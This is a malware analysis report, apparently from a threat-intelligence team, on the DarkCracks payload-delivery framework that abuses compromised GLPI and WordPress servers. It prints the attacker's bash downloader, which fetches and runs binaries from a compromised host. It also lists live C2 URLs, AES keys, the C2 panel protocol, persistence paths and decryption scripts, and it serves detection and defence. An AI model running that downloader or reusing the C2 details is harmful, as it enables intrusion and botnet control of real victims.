Botnet

Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress

Alex.Turing, Acey9, TF0xn

2024年9月4日 • 22 min read

Summary

`XLab's Cyber Threat Insight and Analysis system(CTIA)` recently detected a sophisticated malicious payload delivery and upgrade framework, which we have named **DarkCracks**. This framework is characterized by its zero detection rate on VirusTotal, high persistence, stealth, and a well-designed

upgrade mechanism, leveraging high-performance, stable online infrastructure as its backbone.

Based on our data, DarkCracks is a meticulously crafted malware, indicating that its creators are far from mere script kiddies. While we have mapped out its payload delivery and upgrade framework, the high level of stealth employed by DarkCracks has left us with limited visibility into its Launcher component as of now.

However, on August 26th, we observed a new password-protected PDF file named "resume" being added to the github repository. This file was later renamed to the Korean name `"김영미 이력서" (Kim Young-mi's resume)`. Given the commonality of this Korean name, we strongly suspect that part of this component's functionality involves social engineering activities targeting Korean-speaking users.

DarkCracks exploits compromised GLPI and WordPress sites to function as Downloaders and C2 servers. These compromised sites are used to collect sensitive information from infected devices, maintain long-term access, and serve as relay nodes to control other devices or deliver malicious payloads, effectively masking the attacker's tracks. Within our monitoring scope, targeted entities include public service systems across different countries, such as **school websites, public transportation systems, and even prison visitor systems**.

Discovery Journey

On June 5, 2024, **CTIA** issued an ELF_Downloader alert for the network traffic associated with ELF file 8b3d2b156424e5a0dc3f6d2b0dec96b2. The traffic, HTTP in nature, was traced to the download path `/vendor/sabre/event/lib/Promise/wk8dnj2k-x64-musl`, which exhibited unusually deep directory structures, raising suspicions of a potential breach. Upon further investigation, we confirmed that the server at IP 45.169.87.67 had been compromised, with the attack surface being the GLPI system running on that IP. The file `wk8dnj2k-x64-musl` was identified as a Runner, responsible for

decrypting a JSON configuration file specified by its parameters, downloading, decrypting, and executing the Client designated in the `clientUrl` field. The Client's role is to report the compromised device's information, driven by C2-issued configuration files, and to download updates for the Runner, Client, Launcher, and other components. As of now, both Runner and Client components have a zero detection rate on VirusTotal, indicating that they have been operating stealthily under the radar of security vendors for over a year.

On June 12, 2024, another download script, `f8a495a98c43b0805f53be14db09c409`, came to our attention. It utilized a similar download path, `/vendor/sebastian/diff/src/Exception/pQ1iM9hd-x64-musl`. This file was strikingly similar to `wk8dnj2k-x64-musl`, and the server at IP 179.191.68.85, also running GLPI services, was found to host it.

The appearance of similar files with different names, hosted on different servers and paths, strongly indicated the presence of an unknown attacker actively breaching GLPI systems and leveraging compromised devices as infrastructure to conduct their cybercriminal activities. To trace the origins, we embarked on a thorough investigation, uncovering key insights into the samples, configuration files, C2 servers, and targeted victims.

1. The compromised systems were found to belong to critical infrastructure across different countries, including school websites, public transportation systems, and prison visitor systems.
2. Through the XLab command tracking system, we intercepted a directive to change the C2 server, which pointed to a compromised WordPress site.
3. We discovered a GitHub project named "soduku1," created on July 11, 2023, which stored configuration files.
4. On VirusTotal, we identified an ELF file, `c447f7980a18205f309d8432f312fe69`, sharing the same origin as the Client. The file contained a source path `/home/erin/Desktop/Works/smart-update/SmartUpdate/client`.
5. XLab proactively contacted the victims, gaining access to the C2 Panel, ultimately uncovering the workings of the "Admin Mode."

6. Additionally, we found another GitHub project, "ftMQPwsMnB," containing a decoy file titled "김영미 이력서" (Kim Young-mi's resume) and QuasarRAT.

In conclusion, a well-designed malicious payload delivery and upgrade framework, active for over a year, has come into sharp focus. This framework, which we have named **DarkCracks** based on the use of the XOR key "Crackalackin," leverages compromised GLPI and WordPress sites as Downloaders and C2 servers.

Its primary objectives are to gather sensitive information from infected devices, maintain long-term access, and use the compromised, stable, high-performance devices as relay nodes to control other devices or deliver malicious payloads, effectively obfuscating the attacker’s footprint.

The high persistence, stealth, and sophisticated upgrade design, coupled with the strategic selection of stable online infrastructure, suggest that the attackers behind this framework are **far from ordinary script kiddies**. Despite our current inability to capture the Launcher component and monitor DarkCracks' further activities, the fact that it has remained undetected by security products for over a year underscores the stealth and efficiency of its attack methods. This warrants serious attention, and we have documented our findings to share with the security community.

Targeted Victims

DarkCracks assigns different roles based on the performance of the victim's device: high-performance devices handle infrastructure roles, such as C2 and Downloader, while lower-performance devices act as Bot nodes.

DarkCracks targets include WordPress and GLPI. WordPress is a globally recognized web content management system, which I won't elaborate on here. GLPI (Gestionnaire Libre de Parc Informatique) is a lesser-known open-source IT asset and service management system, used to help organizations manage their

IT assets, including hardware, software, and network devices. It is widely used in small to medium-sized enterprises, educational institutions, and government agencies to enhance IT infrastructure management and maintenance.

Among the 13 C2/Downloader instances we observed (compromised devices), there are important targets involving city public transport systems, prison visitor scheduling systems, financial institutions, and other key organizations across various countries.

According to QiAnXin EagleMap, 10,157 GLPI services are currently exposed online. Organizations using GLPI should urgently check and secure their systems.

Timeline

Based on the information we have gathered, we have compiled the following timeline of DarkCracks' activities. Please note that this is only based on our current intelligence, and DarkCracks' actual activities may have started earlier.

- **2023.07.11:** The user "adrhpbrn29" created the project "soduku1" to store backup configuration files.
- **2023.07.18:** An unencrypted Client was uploaded to VirusTotal from China, with sensitive strings left unencrypted.
- **2024.05.23:** Runner samples were uploaded to VirusTotal from Poland, South Korea, the Netherlands, the UK, Germany, and the US. The sensitive strings in these samples were fully encrypted.
- **2024.06.05:** DarkCracks Downloader was first detected when XLab discovered that the IP address 45.169.87.67 had been compromised, hosting multiple Runners (including the ones from May 23rd), configuration files, and Client downloads.

- **2024.06.06:** Analysis of the Runner was completed, successfully decrypting the configuration files and Client. It was found that backup configurations were stored on GitHub, with a version number of SUC 2.0. Some CPU architecture samples supported DGA (Domain Generation Algorithm).
- **2024.06.10:** An updated C2 command was intercepted, indicating that the new C2 server was a compromised WordPress site.
- **2024.06.12:** The IP address 179.191.68.85 was found to be compromised, serving as a download server for DarkCracks. Backup configurations were stored on Pastebin with a version number of SUC 2.01, with all CPU architectures supporting DGA.
- **2024.06.14:** A victim provided XLab with implants left by the hackers on their device, including a C2 panel, configuration files, etc.
- **2024.07.23:** Another Runner sample was uploaded to VirusTotal from Finland, Japan, and the US. This sample did not have encrypted sensitive strings and did not support DGA.
- **2024.08.23:** The user "adrhpbrn29" created the project "ftMQPwsMnB" to distribute QuasarRAT.

Technical Details

Next, we'll start with the Downloader and gradually introduce the key components of DarkCracks: Runner, Client, Launcher, and the C2 Panel. By thoroughly analyzing the functions of each component, we aim to clarify the framework's design principles and uncover how DarkCracks covertly delivers its payloads through these elements.

Part 1: Downloader Analysis

Regarding the Downloader, we've observed two distinct forms: one is a Metasploit Stager that first receives shellcode to build a shell execution environment before

executing a `wget` download; the other is a bash script that directly downloads files via `wget` or `curl`.

0x01: Metasploit Stager

```
MD5: 8b3d2b156424e5a0dc3f6d2b0dec96b2
Magic: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked
```

The Stager communicates with 213.139.233.163:18441, generating network traffic as shown below. Its purpose is to request the file `wk8dnj2k-x64-musl` from 45.169.87.67.

The file `wk8dnj2k` is, in fact, DarkCracks' Runner component. On 45.169.87.67, we discovered multiple variants of the Runner (`wk8dnj2k-{cpu}-{compiler}`) compiled for ARM, MIPS, and x86/64 CPU architectures using different compilers like gnu, uclibc, and musl. We also found encrypted Client files (`se3hf6jwc-{cpu}-{compiler}`) and encrypted configuration files (`qoakeifm-unknown.txt`).

0x02: Bash Script

```
MD5: f8a495a98c43b0805f53be14db09c409
Magic: Bourne-Again shell script text executable
```

The script's functionality is straightforward: it requests `pQ1iM9hd-x64-musl` and `j8UgL3v` from 179.191.68.85. The former is a Runner, while the latter is an encrypted configuration file.

```
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget "http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/pQ1iM9hd-x64-musl
wget http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/j8UgL3v -O agr|cur

chmod +x ./wdvsh;
./wdvsh agr;

sleep 3;
```

```
rm ./wdvsh;
rm ./agr;
```

Similarly, 179.191.68.85 also hosts various DarkCracks entities for different CPU architectures.

Part2: Runner Analysis

The Runner hosted on 45.169.87.67, identified as `wk8dnj2k-{cpu}{compiler}`, is version 2.0, while the `pQ1iM9hd` series from 179.191.68.85 is version 2.01. The differences between them are minimal. This analysis focuses primarily on the `wk8dnj2k` Runner for the x64 CPU architecture. Below is its basic information:

```
Name: wk8dnj2k-x64
MD5: 93a7cba1edbacb633021ebc38c10a79f
Magic:ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (u
```

As the name suggests, the Runner's primary function is to act as a launcher, responsible for downloading, decrypting, and executing the Client. Specifically, when the Runner executes, it first checks the runtime parameters and supports a maximum of one parameter: an encrypted JSON configuration file. A valid configuration file, once decrypted, must include at least three fields: `key` (the key and IV needed to decrypt the Client), `emUrl` (the download address for the backup configuration file), and `clientUrl` (the download address for the encrypted Client).

Upon validating the configuration file, the Runner creates a working directory at `/var/tmp/.shm`, moves itself to that directory, and renames itself to a UUID-formatted filename. It then generates a new encrypted file, `2b6f92be-6ff1-4b6d-98ce-f5597c69f4b1`, with the SH3 field containing the content of the original configuration file. The Runner achieves persistence through methods like crontab, `.bash_profile`, or `/etc/init.d/rnd`. Finally, it downloads, decrypts, and executes the Client.

If no parameter is specified, the Runner checks for the existence of the file `/var/tmp/.shm/2b6f92be-6ff1-4b6d-98ce-f5597c69f4b1`, retrieves the configuration file through the SH3 field, and proceeds with the decryption, download, and execution of the Client.

0x01: Decrypting Sensitive Strings

To protect its functionality from easy detection, the Runner pre-encrypts sensitive strings and decrypts them as needed using the `decstr` function.

To decrypt these strings, one can use `flare_emu` to emulate the `decstr` function. For example, the ciphertext “9MwEVEVWWExM5AkO” corresponds to the plaintext “clientUrl.”

```
import flare_emu
def ignorefree(eh, address, argv, funcName, userData):
    eh.uc.reg_write(eh.regs["rax"], 0)

ciphertxt=b'9MwEVEVWWExM5AkO'
eh=flare_emu.EmuHelper()
eh.apiHooks['free']=ignorefree
eh.emulateRange(startAddr=0x00000000000F9D0,skipCalls=False,registers={'rdi':cipher

print(eh.getEmuString(eh.getRegVal('ret')))
```

Of course, as a security analysis, a simple black-box decryption is insufficient. After thorough examination, the decryption logic of the `decstr` function can be broken down into three steps:

1. Reverse the string and decode it using Base64 URLSafe mode.
2. XOR each byte with “Crackalackin’”.
3. Swap the case of English letters and decode again using Base64 URLSafe mode.

Using the IDAPython script in the appendix, the encrypted strings can be restored and patched, making reverse engineering much easier.

0x02: Decryption Configuration

We captured two configuration files, `qoakeifm-unknown` and `j8UgL3v`. These files use the same encryption method as the sensitive strings. Once decrypted, it's noteworthy that the `emUrl` directs to backup configurations stored on third-party platforms like GitHub and Pastebin.

- **Configuration file `qoakeifm-unknown` from 45.169.87.67:**
- **Configuration file `j8UgL3v` from 179.191.68.85:**

Each field in the configuration file is described in the table below:

ITEM	DESCRIPTION
key	AES KEY&IV
url	Client Report Entry
authHeader	Auth String
emUrl	Backup Config
runnerUrl	Runner Download URL
clientUrl	Client Download URL

0x03: Persistence Mechanism

Upon successfully decrypting a valid configuration file, the Runner creates the working directory `/var/tmp/.shm`, moves itself to that directory, renames itself with a UUID, and generates a new encrypted configuration file, `2b6f92be-6ff1-4b6d-98ce-f5597c69f4b1`.

After move the file, the Runner achieves persistence using one of the following methods:

1. If the device supports crontab, it uses `crontab` for persistence.

2. If crontab is unavailable and the current user is a regular user, persistence is achieved through `.bash_profile`.

3. If crontab is unavailable and the current user is root, persistence is achieved through `/etc/init.d/rnd`.

0x04: Downloading the Encrypted Client

The Runner attempts to download the encrypted Client by iterating through three different types of URLs. If any of them succeed, the loop exits; otherwise, it waits 6 to 18 hours before trying again. We refer to this as the three-layer URL task polling.

- **clienturl**: Direct mode. Simply concatenate the CPU architecture string of the sample to get the Client's download address.
- **emurl and dgaurl**: Indirect mode. They first download the page pointed to by the URL, locate the backup configuration using the `seed_string`, then decrypt it to obtain the new `clienturl`. This forms a redundant structure where the first layer (clienturl) typically points to compromised sites, which are unstable and may be cleaned up. The second layer (emurl) points to third-party content hosting platforms, which are more stable but still carry a risk of being banned. The final layer (dgaurl) is generated monthly as a last resort.

EmUrl

The process for handling `clienturl` is straightforward, so let's focus on `emurl` and `dgaurl`. For example, the `emurl` in the `qoakeifm-unknown` configuration file (`https://raw.githubusercontent.com/adrhpbrn29/sudoku1/main/main.cpp`) contains the following backup configuration in the `seed_string` variable.

After decrypting the `seed_string`, the Runner re-enters direct download mode upon obtaining the `clienturl`.

The `sudoku1` project was created on July 11, 2023, at 17:08:29, with the first record containing `seed_string` submitted at 17:24:02. Currently, there are six submission records.

COMMIT	DATE	AUTHHEADER
e1e10dc	2024.03.28	LJHRQWE
abb67fc	2024.03.13	LJHRQWE
6392b06	2023.12.27	LJHRQWE
c72963b	2023.10.04	SLDJKFA
248c8a8	2023.10.04	Linux Max
5970967	2023.07.11	Rbz021g6

Using `git diff`, we verified all submission records and found changes concentrated in the `seed_string` variable in `main.cpp`, from which we extracted six different `clienturl` and `C2url` (details in the IOC section under GitHub).

In the configuration file `j8UgL3v`, the `emurl` is `https://pastebin[.]com/raw/GYEBVyMR`. Besides providing the aforementioned `seed_string` (details can be found in the Pastebin section of the IOC), it also gives us another perspective: the IP statistics of visitors to this page. Currently, the number of unique IPs accessing this page is approaching 300.

DGAUrl

The logic for handling `dgaurl` is similar to `emurl`, but the difference lies in their source. While `emurl` comes from the configuration file, `dgaurl` is algorithmically generated. The algorithm is simple: a domain is generated monthly

by formatting the current “year&month” as “%d%02d”, encrypting it with the string encryption algorithm described earlier, and then appending it to “http://%s.com” to form the `dgaurl`. For example, the DGA domain generated for “202408” is `UVDFUgOAgjL.com`.

We checked the `dgaurl` from 2023 to the present (details in the IOC section under DGA) and found that all domains are unregistered. This indicates that DarkCracks has remained well-hidden, with the `emurl` mechanism undetected by the security community, so much so that they haven’t felt the need to activate the final emergency measure.

0x05: Decrypting and Executing the Client

The Client is encrypted using AES CBC mode, with the decryption key and IV provided in the configuration file’s `key`. The `key` is a hex string where the first 16 bytes are the key and the last 16 bytes are the IV. The keys in the two captured configuration files are identical: `2D8C7FEE42D3DB4A8E55FBFF65351E1BB8ADDBA8FCBD0F85EE1CA5033D0DF342`.

- **AES Key:** 2D 8C 7F EE 42 D3 DB 4A 8E 55 FB FF 65 35 1E 1B
- **AES IV:** B8 AD DB A8 FC BD 0F 85 EE 1C A5 03 3D 0D F3 42

Once the Runner successfully decrypts the Client, it saves it in the `/tmp` directory, launches it using the `execl` function, and deletes itself.

Part3: Client Analysis

In this section, we'll focus on analyzing the `se3hf6jwc-x64` Client. Below are its basic details before and after decryption (interested readers can use the CyberChef script provided in the appendix to decrypt the Client).

```
Name:se3hf6jwc-x64
MD5:81eccc9c10368aa54cfed371f83da45a
```

```
MD5:fe5f484f71bf0fd7afa56e60da7eec6f (Decrypted)
Magic:ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (u
```

Upon analysis, we confirmed that the Client uses a similar architecture to the Runner, namely a "configuration file-driven + three-layer URL task polling" structure. However, unlike the Runner, which primarily polls the `clientUrl`, the Client's focus is on the C2 reporting endpoint specified in the `url` field of the configuration file. The Client encrypts and reports sensitive device information to the C2 server, which then sends back encrypted configurations that drive the execution of different tasks.

Key tasks include:

- **NewVersion:** Download and update the Runner and Client.
- **NewLauncherVersion:** Download and update the Launcher.
- **versionCheckerUrl:** Update the C2 reporting endpoint.

0x01: C2 Communication

The Client constructs a JSON-formatted beacon with the following code snippet, encrypts it, and sends it as the HTTP body to the C2 server. The Client supports both HTTP and HTTPS. Notably, the `platform` field's value is formatted as `"arch/user(euid)/version"`, with the `version` obtained from `/proc/version`.

As seen in actual captured traffic, the body of the interaction is encrypted.

After decrypting the C2 response, we see that the Client receives a message with a `versionCheckerUrl` field. The Client then updates its C2 reporting endpoint and requests a new configuration file:

```
{
  "versionCheckerUrl": "https:\\/\\/www.miracles.com.hk\\/wp-content\\/plugins\\/fo
```

```
  "authHeader": "Linux MaEW"
}
```

0x02: Speculations on the Launcher Component

While we have not captured the Launcher component, we can infer the following details based on how the Client handles `NewLauncherVersion`:

- The Launcher is stored encrypted on a remote server, using AES encryption.
- The Launcher likely supports the same encryption algorithm as the Runner and Client.
- The Launcher is also driven by a configuration file, with core configurations stored at `/var/tmp/.shm/9d8dadaf-6c7e-4975-b26d-ec17e67493c6`.

0x03: Evolution of the Client

We compared the 2.0 and 2.01 versions of the Client samples. The primary differences are whether sensitive strings are encrypted and whether the Client supports the DGA algorithm. These changes seem aimed at enhancing the Client's stealth and robustness.

VERSION	ENCRYPTED STRING	DGA SUPPORT
SUC 2.0	N (x86/x64 Y)	N (x86/x64 Y)
SUC 2.01	Y	Y

Interestingly, even in SUC 2.0, the x86/64 architecture Client already supported sensitive string encryption and DGA features. This indicates that DarkCracks takes a cautious approach to feature upgrades, initially testing new features on select architectures before rolling them out to all architectures once they are fully functional and stable.

Part4: C2 Panel Analysis

A user whose device was compromised provided us with the C2 Panel files. Below is the basic information about the file:

```
MD5: 8103a187a710378020dbdee8ff213b5b
MD5: 69ef27f8e69dbba222c3c33a53906d79 (Deobfuscate)
Obfucation: Yes
```

The file is heavily obfuscated, but it can be deobfuscated by gradually replacing `eval` with `print`.

The C2 Panel is implemented in PHP and consists of around 600 lines of code. Its functionality is relatively simple and can be summarized as handling requests from different sources based on a hardcoded configuration file, `tem9FG5.tmp`. It operates in two modes: management mode and business mode.

- **Management Mode:** This mode handles requests from the Bot Master. The C2 Panel performs operations like adding, deleting, modifying, and querying the configuration file based on the request.
- **Business Mode:** In this mode, the C2 Panel decides whether to log the Bot or respond to it based on the configuration file.

Request Source Identification

The C2 Panel distinguishes the request source using the `authentication` field. If the field's value is `Statistics`, the request is from the Bot Master; otherwise, it's from a Bot. Another role of the `authentication` field is to verify whether the request is from a legitimate Bot. Each C2 Panel has a specific `authHeader` set during initialization, and the C2 only responds when the Bot's `authentication` matches the C2's `authHeader`.

Configuration File (`tem9FG5.tmp`)

The configuration file, `tem9FG5.tmp`, acts like a database, recording the Bot Master's settings and storing information about the Bots. To understand the format and fields supported by this configuration file, we generated a configuration file by sending two test requests to a test machine, simulating the initialization and Bot check-in.

1. Initialize the Configuration

```
{"authentication":"Statistics","isActive":true,"authHeader":"XLab"}
```

2. Bot Check-in

```
{"authentication":"XLab","uuid":"fac60bdc-5786-415e-8992-79abcb132d64","pla
```

The generated network traffic is as follows:

The C2 Panel on the test machine generated the following encrypted configuration in response to the above requests:

Decrypting the configuration file is straightforward, requiring the use of `strrev(convert_uudecode($input))`. The decrypted plaintext matches our constructed requests, indicating that the configuration file is in JSON format. Bot-related information is stored in the `clients` field, while the `authHeader` is stored in the `config` field.

Below is a description of the fields supported in the configuration file:

FIELD	DESCRIPTION
config	C2 Status
clients	Bot info
pendingChanges	Config to be delivered
sessions	Command output from Bot
sessionCommands	Commands to be delivered

The Bot Master uses the `pendingChanges` and `sessionCommands` fields to deliver instructions to the Bot. The following code snippet illustrates how the C2 Panel checks the client's `uuid` to decide whether to issue the Launcher configuration.

The configuration file provided by the victim mentioned a compromised site, `soussanart.com`. We sent a client query request to this site and obtained information about 76 clients, spread across 17 countries and involving 4 different versions, ranging from 1.2 to 2.02.

This concludes our analysis of DarkCracks. Clearly, many puzzles remain unsolved, and we believe this is just the beginning of uncovering the full extent of this threat.

Part5: ftMQPwsMnB Analysis

On August 23, 2024, as we were wrapping up our previous analysis, we noticed that the user adrhpbrn29 had created a new project named `ftMQPwsMnB`. The project contains a single compressed file named `bzupdater.zip`, which includes three files: `config.ini`, `Updater.exe`, and `version.dll`.

0x01: Initial Analysis

A quick analysis confirmed that `version.dll` is malicious. Its function is to use the AES algorithm to decrypt a binary resource, which ultimately yields a shellcode. This shellcode loads a payload that is an open-source remote control trojan, QuasarRAT. The AES key is `FCFF50FB13B09C44F806CF4947381718`, and the IV is `2DD695D6845AA9F83F0071B709D78CBD`. In addition to AES, XOR encryption is used to decrypt strings, with the XOR key being `quackquack`.

Currently, the `ftMQPwsMnB` project has five commit records. Although the MD5 hash of `version.dll` varies with each commit, there are actually only three

different core binaries.

COMMIT	MD5 OF `VERSION.DLL`	MD5 OF "BINARY"
7ddc62e	456d05566fc3391e195a5f9cb346c92c	91bcbf4de7ff8bddebdc49b62cad1ac1
ab75b85	c2d69f5e5fa2af8131f1cb3d9fdfbd4b	05481286a1aa1f0d7d9df7bbbb3aeb73
ab6a892	9e94126e8a26efd10b2a5b179d64be90	05481286a1aa1f0d7d9df7bbbb3aeb73
271b28c	ceb7f3d92096892410e041a3b318ab9b	05481286a1aa1f0d7d9df7bbbb3aeb73
653eb26	ca93591a9441a2ade70821f67292d982	6176c8374cd656783c9b354944c8052e

0x02: QuasarRAT Payload

QuasarRAT is a well-known remote access Trojan (RAT), and there are numerous analyses available online for those interested. In this case, the configurations for the three shellcodes delivering QuasarRAT are nearly identical, differing mainly in the C2 server port. For example, the QuasarRAT delivered by the `ab75b85` commit has the following configuration:

As of now, we haven't identified the exact distribution method for this project. However, the `config.ini` file references Bandisoft, a paid software, suggesting that one potential distribution method could be enticing users to download and install the software by offering a cracked version for free.

0x03: Suspicious PDF File

On August 26, the project received two additional commit records, adding a PDF file initially named `resume.pdf`. This file is password-protected, so we currently do not know its contents. About 50 minutes later, the file was renamed to the Korean title `김영미 이력서.pdf`, which translates to "Kim Young-mi's resume." Resumes are common phishing lures, leading us to speculate that one of DarkCracks' targets might be Korean-speaking users.

DATE	COMMIT	FILENAME	MD5
2024/08/26 09:19:32	5130de3	resume.pdf	71ebe71eec7e0f2420cd931534dd22c3

DATE	COMMIT	FILENAME	MD5
2024/08/26 10:09:27	a04bf51	김영미 이력서.pdf	71ebe71eec7e0f2420cd931534dd22c3

Conclusion

DarkCracks is a well-designed yet flexible payload delivery and upgrade framework with several outstanding advantages. For instance, its three-layer URL polling mechanism provides robust reliability, ensuring that payloads can be delivered even when some delivery methods fail. The framework's use of encrypted delivery for multiple components, along with the self-deletion of these components after execution, effectively safeguards its core functionalities from detection.

However, there are notable shortcomings. One significant vulnerability lies in its use of a reversible algorithm for delivering backup configurations via DGAUrl, which poses the risk of the entire network being hijacked. Additionally, the C2 Panel's management mode is easily accessible; anyone familiar with the protocol can modify or even wipe the configuration file, potentially leading to the C2's shutdown and network paralysis.

We recommend that network administrators monitor the `/var/tmp/.shm` directory as described above to detect potential infections. Victims are encouraged to contact us for technical support.

This is the extent of our current knowledge on DarkCracks. Our analysis is based on our perspective and is undoubtedly limited. We invite other industry experts with unique insights to contribute additional information, helping us refine the profile of DarkCracks. If you are interested in our research, you can also contact us via the X platform to obtain more detailed information.

IOC

MD5

```
Runner
c30e9934299fd43527834086b6cfa26a *pQ1iM9hd-armv5-uclibc
8c53e98685fc3ce8b86055991b905926 *pQ1iM9hd-armv6-gnu
257c9ec1241b3fa59565edec9689276b *pQ1iM9hd-armv8-gnu
281e4ede8ffc0f854ce671b5b3ae06f8 *pQ1iM9hd-mips-uclibc
21732589b41506e1e7de87d7066ea43e *pQ1iM9hd-mipsel-uclibc
93a7cba1edbacb633021ebc38c10a79f *pQ1iM9hd-x64
036d6c73fe7a568160f3de8a98d0a58b *pQ1iM9hd-x64-musl
5340ee724893fd596852f22ecbc3e795 *pQ1iM9hd-x86

c6909b8b8bc55fac85c5fe650c7df42a *wk8dnj2k-armv5-uclibc
227d19736af70bef817da96668994af8 *wk8dnj2k-armv6-gnu
a18957196842c78cbce2247d766712ad *wk8dnj2k-armv8-gnu
0dd9e350aafe0d1c9e619d27ebd2ccfd *wk8dnj2k-mips-uclibc
8859d9b1c3f41b9dad3cee68adaddd92 *wk8dnj2k-mipsel-uclibc
93a7cba1edbacb633021ebc38c10a79f *wk8dnj2k-x64
e587cd53059f58526be7e2167cf7177b *wk8dnj2k-x64-musl
5340ee724893fd596852f22ecbc3e795 *wk8dnj2k-x86

Client

af93dc3d635ed3b46439e38fae8ecf6b *mY5bJK7e-armv5-uclibc
b0f7df80d2adda176f8d58a55b773eed *mY5bJK7e-armv5-uclibc.decrypted
7d6ea278b5ae9081c03e340d6f98a4a5 *mY5bJK7e-armv6-gnu
635a7ae54cb7966d61e2e8f64391e870 *mY5bJK7e-armv6-gnu.decrypted
c1d07c102e436284d3fbce0410658ae8 *mY5bJK7e-armv8-gnu
11d4db491fe82e37ff0a5c3787cfa143 *mY5bJK7e-armv8-gnu.decrypted
4e64816a821ce2eb231a5be5395a2f20 *mY5bJK7e-mips-uclibc
2e7d67a3be72c5d1718fc2689c0d5d08 *mY5bJK7e-mips-uclibc.decrypted
5e9bf8a980bcc4d004ff505778b843e6 *mY5bJK7e-mipsel-uclibc
527cc24f043c58101c122c2a2f6c6d8e *mY5bJK7e-mipsel-uclibc.decrypted
5b39497af0d9874d38288476d3a9f5a4 *mY5bJK7e-x64
dffee792a8e65d38d897bd3400aecd3d *mY5bJK7e-x64.decrypted
7515282b084374d9d8b87e46b87e4af8 *mY5bJK7e-x64-musl
ee0d3c3c528034fa3ebdc37596014382 *mY5bJK7e-x64-musl.decrypted
d41c379725973e97ef9cbafb1efdb2f3 *mY5bJK7e-x86
1d407ff91ce19afc82f7946c3ec24dea *mY5bJK7e-x86.decrypted


a1f3e574799c3f874a8d3563dbc55f4c *se3hf6jwc-armv5-uclibc
ad831d9c00c90fead925f4575f4a6a9a *se3hf6jwc-armv5-uclibc.decrypted
2b5df28714421d79ab3e63eac538d853 *se3hf6jwc-armv6-gnu
```

```
2107625e9980d190e3214ef09a83608f *se3hf6jwc-armv6-gnu.decrypted
35f846e24d0cccb5a3ec736c07f6a0a2 *se3hf6jwc-armv8-gnu
5fbe460fc8fa09dc6adc73e5e908cd0e *se3hf6jwc-armv8-gnu.decrypted
27f18a27942fbb71c4e84736db45b5cf *se3hf6jwc-mips-uclibc
e1674821a190f5250e6aba40916c9061 *se3hf6jwc-mips-uclibc.decrypted
b1040f3193d4bec01b13bc73ecaa2587 *se3hf6jwc-mipsel-uclibc
7c33c052c5d451ba4069639286dfc4b5 *se3hf6jwc-mipsel-uclibc.decrypted
81eccc9c10368aa54cfed371f83da45a *se3hf6jwc-x64
fe5f484f71bf0fd7afa56e60da7eec6f *se3hf6jwc-x64.decrypted
08169e20daaad052075bd4026c8e287f *se3hf6jwc-x64-musl
2caf09452e79390f09bebf27dad9acf4 *se3hf6jwc-x64-musl.decrypted
5421bc92f2dd8f37538c2023c1e2f8ee *se3hf6jwc-x86
7168f47f067d260c34543e32a7a55cbd *se3hf6jwc-x86.decrypted


Config
4e52426a96baf84431775adf2d6f0ae2 *j8UgL3v
4a642a86a8d8e71e5f163fa54eda9241 *qoakeifm-unknown.txt
```

Downloader

```
https://www.auntyaliceschool.site/wp-admin/maint/{se3hf6jwc|wk8dnj2k}
http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/{mY5bJK7e|pQ1iM9hd}
http://45.169.87.67/vendor/sabre/event/lib/Promise/{se3hf6jwc|wk8dnj2k}
```

C2 (Victims)

```
http://187.190.1.137/vendor/guzzlehttp/guzzle/src/Exception/detail.php
http://204.199.192.44/vendor/paragonie/sodium_compat/src/Core32/Poly25519.php
http://148.102.51.6/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler.php
http://158.177.2.191/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler.php
http://64.227.0.146/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler.php
http://216.238.103.62:8013/vendor/guzzlehttp/guzzle/src/Exception/DNSException.php
http://52.0.85.62/vendor/guzzlehttp/guzzle/src/Exception/detail.php
https://www.miracles.com.hk/wp-content/plugins/foxiplugin/detail.php
http://152.67.11.54/wordpress//wp-admin/includes/sus.php
```

DGA C2

202301-202312

```
kTD7YgOAgjL.com
gTD7YgOAgjL.com
sTD7YgOAgjL.com
EVD7YgOAgjL.com
AVD7YgOAgjL.com
MVD7YgOAgjL.com
IVD7YgOAgjL.com
UVD7YgOAgjL.com
QVD7YgOAgjL.com
YTC7YgOAgjL.com
kTC7YgOAgjL.com
gTC7YgOAgjL.com
```

202401- 202408

```
kTDFUgOAgjL.com
gTDFUgOAgjL.com
sTDFUgOAgjL.com
EVDFUgOAgjL.com
AVDFUgOAgjL.com
MVDFUgOAgjL.com
IVDFUgOAgjL.com
UVDFUgOAgjL.com
```

C2

```
216.74.123.97   United States|California|Los Angeles    AS834|IPXO LLC
213.139.233.163 Japan|Osaka|Osaka       AS34985|ASN block not managed by the RIPE N
```

Configs

Github

```
Address: https://github[.]com/adrhpbrn29/sudoku1

{"url":"http://148.102.51.6/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler.
```

```
{"url":"http://148.102.51.6/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler.

{"url":"http://148.102.51.6/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler.

{"url":"http://158.177.2.191/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler

{"url":"http://64.227.0.146/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler.

{"url":"http://216.238.103.62:8013/vendor/guzzlehttp/guzzle/src/Exception/DNSExcept
```


Pastebin


```
Address:https://pastebin[.]com/GYEBVyMR

{"url":"http://52.0.85.62/vendor/guzzlehttp/guzzle/src/Exception/detail.php","authH
```


Appendix

IDA Script

```
# Install flare_emu first
# Only test with  93a7cba1edbacb633021ebc38c10a79f
# Modify 'decstr_addr' in in your case

import flare_emu
import base64
import string


def decode(cipher):
    tmp = cipher[::-1] + b"=" * ((4 - len(cipher) % 4) )
    out = bytearray()
    for i, v in enumerate(base64.urlsafe_b64decode(tmp)):
        cha = v ^ key[i % len(key)]
        if chr(cha) in string.ascii_letters:
            cha ^= 0x20
        out.append(cha)
    out += b"=" * ((4 - len(out) % 4) % 4)
    return base64.urlsafe_b64decode(out)

def iterateCallback(eh, address, argv, userData):
